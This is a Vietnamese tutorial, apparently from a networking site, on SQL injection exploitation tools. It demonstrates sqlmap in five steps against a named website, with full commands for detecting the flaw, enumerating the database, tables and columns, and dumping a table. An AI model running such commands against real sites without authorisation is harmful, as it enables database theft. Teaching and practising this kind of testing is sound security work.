Trong phần này, Quản Trị mạng sẽ giới thiệu với các bạn một số tool (công cụ) dùng để khai thác SQL Injection.
Hiện nay có rất nhiều công cụ quét lỗ hổng bảo mật (bao gồm SQL injection). Những công cụ này cho phép phát hiện vào khai thác lỗ hổng SQL injection khá mạnh mẽ. Một số công cụ khai thác lỗ hổng SQL injection tự động hay được sử dụng như:
- Sqlmap
- The Mole (Digging up your data)
- Havij
Ngoài ra còn có một số tool khác mà các bạn có thể tham khảo như: Netsparker, jSQL Injection, Burp, BBQSQL...
Dưới đây tôi là phần demo việc sử dụng Sqlmap để khai thác SQL injection cơ bản.
Bạn download Sqlmap tại http://sqlmap.org/
Sqlmap được viết bằng ngôn ngữ Python, vì vậy để sử dụng tool này bạn cần cài đặt Python. Bạn có thể download python tại http://www.python.org/downloads/
Đầu tiên bạn phải xác định được website mục tiêu, ở đây tôi có mục tiêu sau: http://zerocoolhf.altervista.org/level1.php?id=1 (trang này hiện đã die).
Bước 1: Mở cmd và gõ lệnh như sau:
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1”
sqlmap sẽ phát hiện lỗ hổng của mục tiêu vào đưa ra thông tin về lỗ hổng.
Bước 2: Khi đã xác định được là website mục tiêu tồn tại lỗ hổng SQL injection, ta tiến hành tìm tên cơ sở dữ liệu.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dbs
=> Cơ sở dữ liệu: my_zerocoolhf
Bước 3: Sau khi xác định được tên cơ sở dữ liệu, ta sẽ tìm tiếp tên các bảng có trong cơ sở dữ liệu.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --tables –D my_zerocoolhf
=> Có 2 bảng trong cơ sở dữ liệu: auth và book
Bước 4: Xác định tên các cột trong bảng
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --columns –D my_zerocoolhf –T book
=> Xác định được các cột trong bảng book: author, id, price, title.
Bước 5: Dump dữ liệu từ bảng.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dump –D my_zerocoolhf –T book
=> Như vậy ta đã lấy được cơ sở dữ liệu của website mục tiêu.
Trên đây là demo cơ bản về sử dụng sqlmap để khai thác lỗi SQL injection, các bạn có thể tìm hiểu thêm các tùy chọn của sqlmap tại https://github.com/sqlmapproject/sqlmap/wiki/Usage để hỗ trợ việc khai thác SQL injection.